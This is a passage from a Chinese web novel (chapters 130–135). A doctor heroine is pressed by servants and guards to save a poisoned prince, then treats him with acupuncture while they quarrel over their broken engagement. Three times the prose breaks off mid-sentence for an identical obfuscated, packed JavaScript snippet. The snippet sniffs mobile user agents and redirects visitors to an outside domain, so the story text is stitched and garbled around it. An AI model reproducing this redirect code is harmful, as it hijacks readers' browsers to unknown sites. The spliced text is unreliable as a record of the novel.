脚上的红色绣花鞋上坠着的珠子,随着晃荡,反射出刺目的光芒。 “啊——!”阮芷安发出一声尖叫。 “该死的!” 程达和赵雄怒吼一声,冲进去把人放下来。 可妙菱身体早已一片冰冷,死的不能再**。 “怎么会这样?怎么会这样?明明妙菱昨晚还好好的啊!” 阮芷安哭的梨花带雨,单薄的身体摇摇欲坠。 若不是身旁的小婢女搀扶,仿佛随时都会哭晕过去。 然而在程达和赵雄看不到的角落,被泪水沾湿的睫毛下。 一双眸子却透射出冷冽的寒芒。 …… 一刻钟后。 程达和赵雄把妙菱的房间翻了个底朝天,却什么都没搜到。 两人沉着脸,抬着妙菱的尸体走了。 小婢女扶着哭的全身虚软的阮芷安去屋中修整歇息。 然而,房门一关上。 阮芷安就陡然换了一副神态。 她抓起旁边的茶盏,狠狠砸在垫了毛毯的地面上。 “耿超那个废物,一点小事都办不好,竟然还妄图把我供出来!枉我还如此相信他!” 一旁其貌不扬的小婢女叹了口气道:“小姐,这次你太冲动了。为了对付一个微不足道的南溪县主,白白折损了耿超和妙菱两颗棋子,还差一点就把自己都搭进去。恐怕,那位司先生已经对你起疑了。” “以后我们想彻底掌控住御王府和镇北军,怕是千难万难!” 第一百三十章 一个个都赖着不肯走 阮芷安咬着唇,没有吭声。 小婢女继续道:“小姐,你该不会还想着嫁给御王吧?你明知道他活不过……” “闭嘴!”阮芷安冷喝一声,“我的事还轮不到你来置喙。” 她神情阴鸷地盯着地上打翻的茶盏。 平日里端庄稳重的脸近乎扭曲。 姜南溪,姜南溪! 我绝不会让你嫁入御王府的。 我阮芷安得不到的男人,谁也别想得到! === 这一晚,姜南溪睡得极不安稳。 身上传来的虚弱与疼痛,让她凌晨的时候,又进入手术中心,给自己做了简单的处理,挂了瓶吊针。 这才又迷迷糊糊睡过去。 这一睡,就睡到了第二天天光大亮。 “小姐,你终于醒了!” 在一旁打瞌睡的小婵听到动静,立刻欣喜地凑到她面前。 小丫头又是给她拿水,又是给她摸体温,搅湿毛巾的,忙的不亦乐乎。 忙着忙着,她的眼圈却红了起来。 “小姐,你以后不要再这样了!” 小婵哽咽道:“您怎么能跟夫人一样呢,为了治疗病人,连自己的安危都不顾了。您知道昨晚奴婢看到您倒下去,心里有多害怕吗?” “小姐,小婵在这世上就剩下你一个人了,您别……别像娘和夫人一样离开小婵好不好?” 姜南溪直接给了她一个脑瓜崩。 “对你家小姐有点信心好不好?就这点小伤,怎么可能真的让我倒下?” “更何况,你忘了我答应过,以后要带我们家小婵过好日子的?” 小婵顿时破涕为笑。 洗漱完出来,徐嬷嬷立刻端着热腾腾的馎饦和蒸饼上来。 姜南溪却第一次没有如往常那样一边狼吞虎咽地吃,一边不住口的夸赞。 她看向徐嬷嬷和一旁神情忐忑的银铃和徐瑞。 轻轻叹了口气道:“徐嬷嬷,我和御王之间的婚约已经作废,你以后不用留在碧清院,也不必再为我做这些事了。” “你和金铃也是。” 姜南溪抬头看向银铃:“等金铃伤势稳定后,你就带着她回御王府去吧。” 银铃从刚刚姜南溪说话开始就神情慌乱。 此时直接双膝一弯跪了下来,眼泪说掉就掉:“小姐,您昨晚才刚刚救了姐姐的命,我们姐妹还什么都没有报答您,怎么能就此离开呢?求求小姐你不要赶我们走!呜呜呜……” 姜南溪:“金铃本就是为了救我才受重伤的,我救她性命,也算是两不相欠了。你们大可以不必有心理负担。” 吱嘎! 一旁的房门突然被拉开。 全身还裹着纱布的金铃跌跌撞撞出来。 不顾纱布上渗出的血,她噗通一声就跪倒在姜南溪面前:“奴婢不走!” 徐瑞也跟着跪了下来,一言不发。 可表达的意思却很明显。 姜南溪皱眉道:“你们没听明白我的意思吗?我和御王已经解除婚约了,我和御王府之间再没有任何瓜葛。而你们是御王府的人,理应回到你们该回的地方去。” “奴婢很清楚,自己该回的是哪里。” 金铃抬起头,通红的双眼仰视着姜南溪。 神情倔强而坚持:“奴婢此生就想跟在小姐身边,哪都不想去。奴婢的这条命是小姐从鬼门关抢回来的,小姐如果非要赶奴婢走,奴婢就只能把这条命还回去了!” 姜南溪:“……!” 这丫头怎么这么偏执啊? 银铃哽咽道:“我也不走。王爷身边还有很多人,但小姐您的身边只有我们了。如果我们走了,侯府再欺负小姐怎么办?小姐,你就让我们留在你身边好不好?” 姜南溪简直无语了。 这两个小丫头,之前刚来的时候,明明一个比一个不情愿。 怎么现在自己放她们走了,她们却死活赖着不肯走了? 她又看向徐嬷嬷。 徐嬷嬷一张老脸几乎皱成了苦瓜。 她这几天跟在姜南溪身边,真是怎么看怎么顺眼。 心中早已认定了她是未来御王妃了。 可这才过了短短一夜,板上钉钉的婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631517|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约怎么就吹了呢? 徐嬷嬷焦急道:“王妃,昨晚到底发生什么事了?您和王爷之间是不是有什么误会啊,老奴可以……” “没有!” 姜南溪厉声打断她的话。 她第一次对徐嬷嬷这个值得尊重的老人沉下脸来:“徐嬷嬷,你不必再说了,我和御王之间已经没有任何瓜葛。我记得您是御王府中受人敬重的老嬷嬷,便是御王也不敢怠慢您。您没必要留在我这个不相干的人身边,做这些下人做的事情。” 徐嬷嬷闻言却露出了慈祥的笑容。 她声音不疾不徐道:“王妃……不,小姐,老奴一开始自动请缨来碧清院,确实存着帮王爷相看一下未来媳妇儿的念头。可是来到小姐身边后,老奴的想法就已经变了。” “老奴喜欢给小姐做好吃的,喜欢看到小姐吃老奴做的东西,吃的那么香的模样。” “这些日子,老奴就仿佛回到了以前跟在公主身边的日子。” “老奴已经很多年没有那么开心了。想必,这些孩子也是跟老奴一样的想法。” 说着,她指了指银铃几人。 银铃立刻疯狂地点头。 徐嬷嬷又继续道:“老奴承认,对王爷的感情比对小姐您的更深,但也正如银铃说的,王爷身边有很多人,多我们几个不多,少我们几个不少。” “而小姐您身边,能帮到您的人太少了。那些黑心肠的人,看小姐您势单力孤,就会想欺负您。” “老奴怎么能眼睁睁看着小姐你被欺负呢?” 徐嬷嬷的话,让姜南溪皱起了眉头。 这也正是她所担忧的。 这个碧清院中,总共就只有她和小婵两人。 金铃、银铃一走,她身边连半个有武力值的都找不出来。 如此一来,定远侯府是绝不会放过她的。 这也是之前她哪怕被喂七日断肠丸,也要“嫁给”御王,寻求合作的原因。 可如今她都打算与萧墨宸**了。 再继续用他的人,岂不是又当又立? 徐嬷嬷仿佛看穿了姜南溪的所思所想。 第一百三十一章 跟我去救主子! 她温和一笑道:“小姐,你可以暂时忘掉我们是御王府的人这件事,尽管使唤我们。毕竟我老婆子的风湿腿,还要靠小姐的药才能好起来呢!” 金铃也哑声道:“小姐,奴婢如今想留在您身边,是想报答您的救命之恩。与王爷没有半分关系。” 银铃:“我也是我也是!” 徐瑞:“我不走!” 姜南溪看着四人坚定的眼神,一时只觉得胸口酸酸胀胀的。 这一刻,她突然有种错觉。 似乎因为碧清院中的这几个人,她与这个世界的联结也加深了。 不再如无根的游魂,仿佛随时会从这个时空抽离出去。 良久,她才缓缓坐下来,拿起勺子舀了一个面片送入口中。 热水氤氲了她秀丽的脸庞,连她的表情都仿佛被软化了。 “徐嬷嬷,你做的馎饦,真的很好吃!” 徐嬷嬷笑的见牙不见眼:“好好,小姐你喜欢吃就好。只要你喜欢,老奴可以给你做一辈子。” 转过身,徐嬷嬷忍不住捏了捏拳头。 在心中暗暗发誓:这么好的王妃,绝不能真这么给放跑了。 更何况,王妃还有那么神乎其神的医术。 说不定当真能救王爷的命。 她留在这里,近水楼台,才好帮王爷暗中使使劲。 随即,徐嬷嬷又马上皱起了眉头,露出不悦的表情。 昨儿个到底发生什么事了,竟让王妃如此生气。 竟不顾自己的处境也要与王爷解除婚约。 不行,她一会儿得回王府好好打听一下。 === 接下来的两日,姜南溪都呆在碧清院中,没有再出去。 表面上养伤,实际上却是意识沉入到系统空间中,学习心胸肺科手术的相关知识。 虽然狗王爷不是东西,但夭夭小可爱,她打定了主意还是要救的。 耳边时不时传来小婵愤愤不平地念叨。 “小姐,你知道吗?再过两日,侯府就要给二小姐办及笄宴了。” “奴婢这两日出门去采买东西,总听到外面在传言,侯府当年给您办的及笄宴多么隆重多么豪华,生生委屈了一直在外漂泊的二小姐,所以这次二小姐的及笄宴,一定要给她风光大办。可,可事实分明不是这样的!” 小婵记得非常清楚。 小姐的及笄宴是和定远侯府大小姐沈玥彤一起办的。 那时,小姐甚至离着及笄还差几个月。 可就因为沈玥彤需要办及笄宴了,所以小姐也只能被迫将及笄的时间提前。 那场及笄宴隆重吗? 自然是隆重的! 可所有的焦点,所有的荣华,全都集中在了侯府大小姐沈玥彤的身上。 而她们小姐,什么都没有。 甚至到了晚上,沈玥彤还怒气冲冲地上门,指责小姐打扮的太过花枝招展,抢了她的风头。 随后,抢走了小姐收到的及笄礼物。 这一幕幕,小婵记得一清二楚。 每每想起来,都会忍不住偷偷抹眼泪。 想着老爷和夫人如果还在世,知道他们的掌上明珠,在及笄宴上被如此怠慢欺负,该是如何心疼。 可她怎么都没想到。 定远侯府竟然能无耻到这般地步。 明明是让小姐受尽委屈的及笄宴,她们却说的好像小姐占尽了便宜。 而且最可恶的是,他们还把这消息宣扬的整个京城人尽皆知。 小婵只要一想起这些,就忍不住气的眼圈通红。 小拳头捏的紧紧的,恨不得冲出去揍人。 姜南溪将视线从系统中抽回来少许,看小丫头气鼓鼓的样子。 忍不住好笑地伸手捏了捏她的腮帮:“没什么稀奇的。凌婉茹这么大肆宣扬,不过是为了替姜思瑶博同情、博名声罢了!” 当然,顺便进一步打压她的名声。 姜思瑶名声大成,才能夺走她姜家继承人的身份。 进而,顺理成章抢走本该属于姜瀚海和凌元歌女儿的先帝赐婚与赏赐。 小婵起身逃脱自家小姐的魔掌,气呼呼道:“小姐,你都不生气吗?这一年多,二小姐一直踩着您扬名。这场及笄宴若是让她办成了,那以后……以后……” 提到英国公府的遗孤,谁还会记得她们家小姐? 恐怕人人都会只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639793|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道出自神医谷的姜家二小姐,姜思瑶了! 姜南溪笑了一声,眸色沉沉:“放心吧小婵,定远侯府和姜思瑶从你家小姐身上夺走的东西,我总会让他们连本带利全部吐出来的!” 小婵还想再说什么,一阵嘈杂地喧闹声突然从院中传来。 “你不能进去!”那是徐瑞的声音。 “滚开……徐瑞,你还是不是御王府的人?我让你滚开,听到没有?” 砰! 院子里传来重物落地的声音。 紧接着,是徐瑞压抑的闷哼声。 姜南溪猛地沉了脸色,坐起身来。 小婵也担忧地看向了外面。 下一刻,就见一个熟悉的身影从外面跌跌撞撞冲进来。 是影七! 只是,此刻的影七与两日前,几乎跟换了一个人一样。 只见他头发凌乱披散,两颊凹陷。 身上的衣服破破烂烂的,沾满了泥污血渍。 甚至还散发着一股酸臭味。 似乎从三天前,他身上的衣服就没有换过。 一双眼睛更是赤红一片,眼中盈满了疯狂和绝望。 不等屋中众人反应过来。 影七已经冲到了姜南溪面前,一把拽住她的手腕,就要往外拖。 “你,马上跟我……去救主子!” 姜南溪被拉的趔趄了一下。 她沉下脸道:“松手!” 影七却非但没有松手,反而用力一扯,“我让你马上跟我去救主子,听到没有?!” 姜南溪肩膀上的伤痛被牵扯到,发出一声低低的闷哼。 这声闷哼,把一旁的小婵惊醒过来。 小丫头立刻发出一声尖叫:“你这个登徒子,快放开小姐!” 因为这声喊,在厨房中忙碌的银铃和在屋中养伤的金铃全都冲了出来。 银铃之前早就听金铃说过那天晚上在鸿宾客栈发生的事情。 心中早已对影七这个蠢货厌恨到了极点。 此刻见他还敢对姜南溪如此不敬。 也顾不得自己的武力值和墨影卫差距有多大了。 一个纵身就飞踢过去。 第一百三十二章 为什么还会担心那个狗渣男 砰——! 然而,意想不到的是,影七竟然就那样被银铃一脚踹飞了出去。 凹陷的面部因为痛苦而扭曲,身体都在不停抽搐。 以至于银铃都忍不住看看自己的脚。 怀疑短短几天,她是不是神功大成了? 但很快,她就知道不是。 因为影七哇的吐出一口血。 显然是受了很重的内伤。 而这样的伤,绝不是她刚才那轻轻一脚能踢出来的。 尽管连吐了好几口血,影七却还是挣扎着爬起来。 踉跄扑到姜南溪面前。 就在金铃和银铃以为他要伤害姜南溪,想要冲过去阻止时。 影七突然噗通一声跪在了姜南溪面前。 “南溪县主,我……我承认是我对不起你。但我也只是被人所骗,并没有真的想要你的命。你如果真的恨我,大可以亲手杀了我!” 唰! 他突然拔出一把刀,双手举到姜南溪面前:“只要你肯去救主子,就算杀了我,就算你要把我千刀万剐凌迟了,我影七也绝不会有一句怨言!” 说着,影七又将手中的刀往前递了递。 眼中满是豁出去一切的疯狂和决绝。 姜南溪冷笑一声:“萧墨宸的巫髓毒发作了,所以让你来演这场苦肉计?事到如今,你以为我还会吃这套?那天晚上我说的还不够清楚吗?从此以后我和他萧墨宸再无瓜葛,他的毒爱找谁解找谁解取,别来找我!” “不!你必须跟我去救主子!你不去,主子他……他会死的啊!” 影七嘶吼着,两行热泪从眼眶滚落下来。 他的双眼深深的凹陷进去,整个人消沉而疯狂。 与几日前的意气奋发,张扬跋扈截然不同。 “你不就是恨我没有及时把解药给你吗?那我赔给你,全都赔给你,总行了吧?” 影七低吼着,突然扯掉自己的衣袖。 随即拿起刀在手臂上一划。 霎时间,一片血淋淋的肉,竟硬生生被片了下来。 “啊——!” 没见过这种场面的小婵忍不住发出一声惊叫,小脸惨白地捂住了脸。 金铃和银铃也是微微变了脸色。 脑海中只有一个念头:影七疯了! 可,影七为什么会疯? 难道…… 影七扬起头,朝姜南溪露出一个疯癫的笑:“这样够不够,不够我还可以继续割,直到割到你满意为止!” “只要你肯去救主子,你……你让我做什么都可以……” 姜南溪的脸色沉了下来:“软的不行来硬的,硬的不行就来道德**。你可真是御王教出来的好奴才!” 金铃银铃这种小姑娘卖惨就算了。 现在连影七也跑到她面前来施展苦肉计道德**。 这到底是真心悔过想求她救人,还是纯粹来恶心她来了? 真当她姜南溪是什么很圣母玛利亚的人吗? “想凌迟自己,随意!但请滚出去,别脏了我的房间和院子!” 姜南溪目光犀利地看着影七,一字字道:“影七,你可以试试看,等你剐完你身上的肉,我会不会心软去救你家主子!” 噹! 影七手上的刀掉落在地上。 他脸上的神情逐渐从茫然转为绝望,从绝望转为愤恨,又从愤恨转为想要杀死自己的悔恨。 “你到底,到底要怎么样才肯去救主子?” “我,我给你磕头,我向你认错好不好?从今往后,我影七都给你做牛做马!” 影七突然开始砰砰砰给姜南溪磕头。 只磕了两下,额头上的鲜血就混合着眼泪流淌下来。 “我知道一开始就是我错了,是我狂妄自大,不把你放在眼里。” “是我自以为是,愚蠢又短视,觉得你配不上主子,所以想尽了办法刁难你,戏耍你。” “一直以来,我都是这样,仗着主子对我的纵容,我行我素,不把旁人放在眼里。” “因为每一次,都有主子给我兜底,所以我便以为,我所做的都是为了主子,我没有错。” 可他从未想到,有一日,他为狂妄自大所付出的代价,会是主子的性命。 风水轮流转,天道好轮回。 当他最重要的软肋被砍到了。 他才知道那有多疼。 自己的狂妄和自大,又是多么的可笑? 影七:“南溪县主,只要你肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639794|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救主子性命,从今以后,我影七这条命就是你的。” 姜南溪微微拧眉。 相似的话,影七之前也说过。 但他此刻说出这句话时的神情,却又似乎与刚刚截然不同。 那是真的悔恨到了极点,想要豁出去一切去弥补去挽救的人,才会有的破釜沉舟。 只是还不等她说话,就见影十三也红着眼圈走进来。 她同样跪在了姜南溪面前,张嘴只说了一句话:“属下亦是如此!” 两人的举动,让一旁的金铃和银铃呆住了。 金铃本就苍白的脸,一下子血色褪的干干净净:“难道王爷当真……” 银铃眼圈唰的一下红了。 她本能地,祈求地看向姜南溪。 可想起之前姜南溪说的话,又硬生生将哀求地话咽了回去。 可眼泪却还是不争气地涌出眼眶。 王爷,难道王爷真的……会死? 怎么会这样? 为什么会这样? 看着这一屋子戚风惨雨的苦瓜脸,姜南溪狠狠皱起了眉头。 她很烦躁。 烦躁地想**。 可最让她无法接受的,不是这一屋子的人对她使苦肉计。 而是,刚刚听到萧墨宸可能会死的那一瞬。 她的心脏竟然不可遏制地剧烈跳动了几下。 心中竟涌起一股担忧和焦灼。 该死的! 她为什么还会担心那个狗渣男? 难道是因为一夜夫妻百夜恩? 还是太舍不得那张盛世美颜的脸和极品身材了? 咳咳…… “小姐!” 门口传来徐嬷嬷沙哑的声音。 姜南溪下意识抬头,被吓了一跳。 只见昨日还正常的徐嬷嬷,此刻哭的眼圈红肿。 脚下的步伐都虚浮了。 她踉踉跄跄冲到姜南溪面前,就要给她跪下去:“小姐,老奴求求您,去救救王爷吧!老奴求求您了!她可是公主留在这世上的唯一骨血了啊,呜呜呜……” 眼看着,老人家的双膝就要落到地上。 姜南溪哪里敢真的接受她的跪拜,连忙上前一把将人拉起来。 第一百三十三章 裤子,扒了 姜南溪哪里敢真的接受她的跪拜,连忙上前一把将人拉起来。 对上徐嬷嬷充满了祈求的婆娑泪眼,她嘴角抽了抽,咬牙道:“行!我去还不行吗?” “但这是看在你和金铃银铃的面子上,而且是最后一次!” 徐嬷嬷大喜,刚要说话。 就见姜南溪视线落在影七身上,双眸微微眯起:“另外,影七你说只要我肯去救你家主子,你就任由我处置,这话当真吗?” 影七猛地抬起头,凹陷的双目中迸发出亮光。 就像是溺水的人抓到了救命稻草:“当真!属下敢以在天之灵的父母发誓,以后悉听南溪县主调遣,如违此誓,就让我死无葬身之地!” 影十三:“属下也愿意……” 姜南溪一把按在她的脑袋上阻止她继续说下去。 还忍不住白了她一眼。 笨蛋,这又不是什么好差事? 怎么还上赶着来抢呢? 这姑娘是不是傻啊? 影十三对上姜南溪的视线,愣住了,随后又忍不住,扑哧一声笑出来。 笑着笑着,眼泪就忍不住往下掉。 === 姜南溪这一次重回御王府,发现府中所有人对她的态度,发生了翻天覆地的变化。 司玄中这只从来喜怒不形于色的笑面虎。 此次看到她,双眼一下子亮的惊人。 那神情仿佛随时都要哭出来一般。 看的姜南溪头皮一阵发麻。 甚至连平日里如隐形智能机器人的影九,都朝她屈膝跪拜。 还亲自给她开门。 以至于姜南溪原本想声明这是最后一次来给御王治疗的话。 到了嘴边都说不出口了。 她郁闷地进入房中。 身后的门发出吱嘎声响,被影九轻轻关上。 这一次,甚至连要监视她行医过程的人都没了。 御王府的人就这么放心她? 不怕她对他们的宝贝王爷不利? 姜南溪却不知道。 昨日徐嬷嬷回府后,得知这几日发生的事情和御王此时的病况。 在府中大发了一通雷霆。 直把连带着司玄中在内的王府所有人都训了个灰头土脸。 连头都抬不起来。 这才有了今日整个御王府的人对她战战兢兢,小心讨好。 生怕一个不小心,又把她这尊大神给吓跑或者得罪了。 …… 屋内早在姜南溪来之前,就点起了足够的灯火。 将病床上的男人照的纤毫毕现。 也正因为这样,姜南溪看到床上男人的那一刻,呼吸都忍不住停滞了一下。 实在是,萧墨宸的那张脸,太有冲击力了。 明明是从战场上厮杀出来的血屠战神。 每天风吹日晒的,也从不保养。 为什么皮肤还能这么好? 那张俊美无俦的脸上,甚至找不到半点瑕疵。 最重要的是,这样的极品美男。 此时,就那样“羸弱又无助”地躺在床上。 可以任她予取予求,为所欲为。 咳咳! 姜南溪,冷静!冷静! 你忘了这个狗王爷醒来后是怎么一副凶残又讨人厌的模样吗? 姜南溪拍了拍自己有些发烫的脸。 迅速让色胆包天的心冷却下来。 等她抓住萧墨宸的手开始把脉。 脑中所有的杂念,就已经消失的一干二净。 她向来就是如此。 只要进入治病的状态,就会全身心地投入、专注。 彻底地忘记自己身在何处,治疗的是什么人。 满心满眼就只剩下病人和治疗方案。 只把了一会儿脉,姜南溪的神色就微微沉了沉。 她一把扯开萧墨宸的衣衫,果然,底下能看到蛛网般的纹路多到触目惊心。 其中有几条血线,已经无线接近于心脏。 姜南溪的眉头微微皱起。 按理说,萧墨宸的毒发不该这么快的。 就算前两日骑马动用过内力,也不至于让巫髓毒发做到这等地步啊? 这男人最近到底又做了什么死? 她深吸了一口气,取出金针。 寻到穴位,开始扎针。 …… 然而,一个时辰后。 姜南溪摸着萧墨宸的脉,又将他扶起来,看了胸前血线的情况。 心却是一点点往下沉。 这一次,她的行针,竟然没能延缓巫髓毒的毒发。 也没能让靠近心脏的血线,再往后退却少许。 姜南溪看着依旧昏迷的男人。 只见他唇色苍白泛着青紫。 两颊却浮现异样的潮红。 而原本略显凌乱的呼吸,随着时间的推移,也变得越来越微弱。 如果再不治,萧墨宸恐怕真的会死。 姜南溪一想到这男人死了,自己碧清院那一屋子人会哭的多戚风惨雨。 就忍不住磨了磨牙。 她将萧墨宸放倒在床上,轻咳一声道:“我先声明,我这是为了治病,不是想占你便宜啊!” 姜南溪之前为了解萧墨宸身上的巫髓毒,其实研究过好几套扎针方案。 其中一套最为成熟和有效的方案。 涉及到的扎针穴位,都非常的隐秘又暧昧。 放到从前,给姜南溪一百个胆子,她也是不敢在萧墨宸身上扎的。 但现在。 人都要死了! 婚约也要解除了。 这屋子里又连个鬼影都没有。 谁又能看到她做了什么? 她有什么好怕的? 想到这里,姜南溪就把魔爪伸向了男人的裤子。 然后一把扒了下来。 下一刻。 寂静的房中,响起清晰地吞咽口水的声音。 其实,那天晚上,该摸的都摸了,该做的也都做了。 按理说,姜南溪不该如此没出息的。 可事实是,那晚她整个人都被药效烧迷糊了。 其实除了萧墨宸那张脸,什么都没看清。 连感官都是迷迷糊糊的。 而这一次,在明亮的烛火照耀下。 姜南溪清楚看到了萧墨宸的身体。 笔直的大长腿,公狗腰,八块腹肌,还有那宛如美玉一般的皮肤。 就连身上的伤疤,也没有半分狰狞。 反倒平添了几分性感和强势的魅力。 而且这男人明明已经中毒残废一年了,怎么双腿肌肉没有半点萎缩? 反倒是腿部肌肉线条格外完美,仿佛底下蕴藏着强大的力量,随时随地,都会蓄势爆发。 姜南溪本就是颜控。 此刻面对这样近乎完美的极品身材,难免心旌神摇。 在心底又默念了一百遍:色即是空,空即是色。 狗王爷不做人!狗王爷不做人! 这才平复下从双颊到耳根的热意,重新投入到治疗中。 第一百三十四章 赐婚圣旨,不过一张废纸而已 姜南溪的这套行针方案,是将原先的治疗进行了补全。 让气血在经脉中的流通形成闭环。 以达到对巫髓毒的驱逐和封锁。 几枚金针下去,她立刻感觉到了脉搏的变化。 有用! 这套方案,果然能最大程度上地克制巫髓毒。 甚至再配合药物和透析。 能将巫髓毒从萧墨宸的体内彻底剥离出来。 姜南溪双目灼灼闪亮。 下针的速度也越来越快。 但也因为太专注。 姜南溪没有注意到,自己扎针的位置从脚步、小腿往上延伸。 直到,连短短的亵裤都变得碍事。 被她一把撩起来,翻卷着往上。 随后金针精准无误地扎在大腿内侧的……足五里穴位。 金针入体。 修长白皙手指捏着金针顶端,轻轻转动。 随之而来的,是萧墨宸整个身体的穴道全部被打通。 原本靠近心脏的巫髓毒血线逐渐后退。 萧墨宸的神色也早已从异样潮红转为苍白,又从苍白变为正常。 但慢慢的,这正常中,又浮现出一丝更加异样的潮红。 因为那只柔白纤细的小手,随着捻动金针,越来越靠近某个位置。 而且一次次地不小心擦过、碰触。 偏偏姜南溪因为太过专注于感受金针传来的脉象反馈,根本就没有注意到。 直到,一声压抑的低低闷哼声在静寂的房中响起。 紧接着,纤细的手腕被一只滚烫的大手猛然捏住。 阻止了捻针的手再一次往不该碰的地方靠近。 姜南溪猝不及防,整个人都被往床头方向扯了好几步。 手中的金针也掉落在地上。 下一刻,她对上了一双泛着赤红的桃花眸。 眸中水光潋滟,深不见底。 仿佛漾着无限压制不住的春情。 又像是一个巨大的漩涡,要将她吞吃进去。 男人的声音带着难耐的嘶哑:“姜!南!溪!你在做什么?” 做什么? 当然是救你的命啊! 姜南溪的话几乎要脱口而出。 然而下一刻,她的眼角余光瞥到了下方。 男人那光裸裸的身体,身上扎着的针。 还有在足五里穴旁边的特殊位置。 因为自己刚刚扎针,而起的反应。 姜南溪忍不住咽了下口水,眼中闪过一抹慌乱。 艹! 原来她刚刚一直在耍流氓吗? 等等! 什么耍流氓? 自己明明在救这个狗渣男的命好不好? 而且,之前的帐还没算清呢! 这狗渣男还有脸质问她? 姜南溪迅速冷下脸来,用力挣扎了一下:“放手!” 萧墨宸却非但没有松手,反倒越发把她往自己的面前拉了拉。 两人的距离近到,姜南溪能感觉男人温热的呼吸落在自己脸上。 伴随着熟悉的冷香。 让她刚刚平复下来的心又乱了三分。 姜南溪有些恼怒起来:“你以为我在干什么?当然是救你的命了!” 顿了顿,她又补充道:“要不是徐嬷嬷求我,我才懒得管你死活呢!” “松手!我取了针就走,绝不会赖在御王府,让你厌烦的,这一点王爷大可放心!” 萧墨宸松开手,忍不住按了按眉心。 皱眉回忆自己失去记忆前究竟发生了什么。 姜南溪趁机迅速拔出金针收起来。 她原以为这是件很简单的事情。 起先确实是这样。 可她忘了,有几根金针扎的位置非常特殊。 而且因为穴位特殊且重要,相邻地扎了好几枚。 偏偏此刻萧墨宸醒着。 姜南溪也没有进入忘我的治疗状态。 拔了几枚后,她的手心就开始出汗,手指也开始抖。 这一抖,就容易碰到不该碰的位置。 于是很快,滚烫的大手一把将她作乱的手抓住,又狠狠拽了过去。 男人的声音比之前更嘶哑,仿佛压抑着惊涛骇浪:“姜南溪,你就是这么给本王治病的?” 这女人,分明是在勾引他! 勾的他引以为傲的自制力都消失殆尽。 几乎失控! 姜南溪面颊有些烧的慌,心中懊恼的不得了。 这怎么不是治病? 怎么不是治病了? 要不是扎了这几个地方,你以为你现在还能在这里跟我大呼小叫吗? 但想想自己拔针时候,那手抖得像有自我意识。 不停往萧墨宸敏感位置碰触。 她又确实有些心虚。 于是只能板起脸道:“王爷觉得不是,那就不是吧!” “反正现在针也拔完了,王爷您人也从鬼门关回来了,徐嬷嬷的嘱托,我已经完成。我现在就离开御王府,不再碍您的眼,您总该满意了吧?” 说完,姜南溪收起金针,转身就要走。 然而她走的这么干脆利落。 萧墨宸却更气了。 刚刚还嘶哑滚烫的声音,此刻都仿佛沉了下来:“本王说过你可以走了吗?” 笑话! 姜南溪扭头看着他,冷笑一声:“王爷说笑了,你我之间婚约已经作废,以后我碍不着王爷的路,王爷也管不到我去哪!我凭什么不能走?” 萧墨宸坐起身,一把抓过衣衫披在身上。 他此刻的样子看上去没有半分一个时辰前病入膏肓的模样。 反倒是一双漆黑的桃花眸冷冷望过来的时候,让姜南溪有种背脊发寒的压迫感。 “谁跟你说,婚约已经作废?姜南溪,你想违抗圣旨吗?” 姜南溪嗤地一笑,满脸讥讽:“王爷拿我当三岁小孩哄呢?” “你我的赐婚圣旨,明文公告天下了吗?文武百官都知晓了吗?皇上当初让苏公公送给我的圣旨上,加盖玉玺了吗?” “不过就是一份哄哄我的废纸,除了骗我将先皇的赐婚作废掉,然后免费给你萧墨宸当救命医师,其他还有什么用?” “还是王爷当真打算过,要娶我过门?” 萧墨宸怔住。 黢黑的瞳孔微不可查收缩了一下。 姜南溪笑容越发冰冷。 虽然早就知道了答案。 这男人答应婚约,从一开始就是把她当做诱饵、当做棋子,当做免费医生。 其实没什么好生气的。 两人无亲无故,甚至一开始是敌对立场。 这场婚约,本就是她为了反抗定远侯府,一手操作出来的。 他萧墨宸心不甘情不愿,才是理所当然。 但,该死的,还是好气! 第一百三十五章 王爷,你不过是沈翊轩的替身而已 尤其是想到自己在七日断肠丸折磨下所受的痛苦。 姜南溪就恨不得把狗王爷给扎成废人。 可惜,醒来的萧墨宸,一根手指就能碾死她。 她惹不起,躲还不行吗? 姜南溪深吸了一口气,转身抓住门把手,就要离开。 反正这御王府,打死她不来了。 谁来谁是孙子! 然而,姜南溪的手刚把房门拉开少许。 就感觉一股大力袭来。 刚刚打开条门缝的房门被重重关上。 姜南溪甚至看到了门缝外影九一闪而逝的面无表情的脸。 她猛地回过头。 就见萧墨宸竟然又动用内力站起来。 而且离她的距离不足一尺。 两只手按在门上,身体微微前倾。 高大的身形将她牢牢困锁住。 萧墨宸垂眸看着她,声音低沉磁性,清清冷冷。 “本王答应过的事情,还从未食言过。谁告诉你,本王不会娶你过门?” 